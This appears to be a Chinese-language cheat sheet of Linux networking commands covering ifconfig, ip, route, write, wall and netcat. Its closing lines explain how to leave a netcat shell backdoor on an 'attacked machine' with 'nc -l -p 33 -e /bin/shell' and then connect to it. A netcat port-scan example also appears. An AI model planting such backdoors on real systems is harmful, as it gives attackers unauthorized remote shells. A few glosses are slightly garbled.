ifconfig 用于查看和更改网络接口的地址和参数
-interface 网络接口名,如eth0和eth1
up xx
down 关闭
broadcast address 设置接口的广播地址
pointpoint 启动点对点方式
address 指定设备的IP地址
netmask address 设置子网掩码
ifconfig eth0 up?? xx
ifconfig eth0 down 关闭
ifconfig eth0 192.168.1.55 netmask 255.255.255.0 broadcast 192.168.1.255 up
设置eth0的IP地址为.1.55 子网掩码255.255.255.0 广播地址.1.255 并且马上xx它
ifconfig eth1 mtu 9000 修改其MTU 内容
ifconfig eth1 192.168.0.1 设置网卡IP
ifconfig eth1 查看网卡
ifconfig eth1 -arp 禁止arp协议
ifconfig eth1 arp 开启arp协议
ifconfig eth1 hw ether 00:AA:BB:CC:DD:EE 修改MAC(修改硬件地址必须先关闭设备)
为一块网卡绑定多个IP地址
ifconfig eth0:0 192.168.78.25 netmask 255.255.255.0
ifconfig eth0:1 192.168.0.25 netmask255.255.255.0
启动promiscuous 模式
ifconfig eth0 promisc
配置计算机的loopback接口
ifconfig lo 127.0.0.1
route add -host 127.0.0.1 lo
ip iproute2软件包里的强大网络工具
语法:ip[operation][object][command]
operation:
-f: 选项后面接协议种类,如inet,inet6,link
-0: -family link缩写
-4: -family inet缩写
-6: -family inet6缩写
-o: 每行记录使用单行输出
-r: 查询域名解析系统
object:
address 地址
neighbour arp缓冲区条目
route 路由条目
rule 路由策略数据库中的规则
maddress 多播地址
mroute 多播路由缓冲条目
tunnel IP上的通道
ip link show
ip -s link show eth0 显示eth0相关信息
语法:ip link set dev NAME [arg]
arg:
up/down
arp on/off
multicast on/off
dynamic on/off
name NAME
txqlen NUMBER 改变设备传输队列长度
mtu 修改mtu
address LLADDRESS 修改MAC地址
broadcat LLADDRESS 修改数据链路层广播地址
peer LLADDRESS 修改对端数据链路层地址
ip link set mtu 2000
ip address add
ip address delete
ip address show
ip address flush
dev NAME
scope SCOPE_VAL: global: 全局有效;host:主机内部;
to PREFIX 列出和PREFIX匹配的地址
label PATTERN 匹配PATTERN的地址,PATTERN 是一个shell风格的正则表达式
dynamic和permanent 两个参数只使用与IPTV6.使用dynamic 显示动态IP;使用permanent,ip显示固定IP
tentative 只使用于iptv6 只列出没有通过重复地址检查的地址
primary和secondary? 只列出主或从地址
local ADDRESS 本地地址
peer ADDRESS 点对点接口对端地址
broadcast ADDRESS 广播地址
label NAME 标签
ip address add local 192.168.1.1/24 broadcast+ dev eth0
ip address add local 192.168.1.1/28 broadcast- dev eth0
ip address add local 192.168.4.1/28 brd+ label eth0:1 dev eth0
ip address del 192.168.50.50/24 dev eth0
ip route show
ip route add
ip route change
ip route replace
via 下一条路由地址
ip route add 192.168.0.1/24 dev eth0
ip route add 192.168.10.0/24 via 192.168.5.100 dev eth0 增加通往外部的路由
ip route add default via 192.168.1.2 dev eth0 增加默认路由
ip route del 192.168.10.0/24 删除路由
route
route add -net 169.254.0.0 netmask 255.255.0.0 dev eth0 增加网关地址为169.254.0.0的路由
route add default gw 192.168.1.33 增加默认路由
route del -net 169.254.0.0 netmask 255.255.0.0 dev eth0 删除网关地址为169.254.0.0的路由
route del default gw 192.168.1.33 增加默认路由
write发送消息
write root pts/2
wall 广播消息
使用方法: wall回车-输入内容-Ctrl+D
netcat 通过使用TCP和UDP的网络连接去读写数据
-d 后台模式
-i secs 延迟时间
-p port 开启一个本地端口
-l 监听模式,自动开启一个端口
-r 随即本地和远程端口
-z 扫描时将输入输出关掉
netcat localhost 25 监听本地25端口
netcat -l -p 20000 本地主机的端口20000启动一个监听端口,来监听其他用户连接
netcat -vv -z -w 10 10.168.69.230 1-25? 扫描端口1-25
留下shell后门
1.在被攻击机器上输入 nc -v -l -p 33 -e /bin/shell
2.攻击者在自己的机器上输入 netcat [IP][33]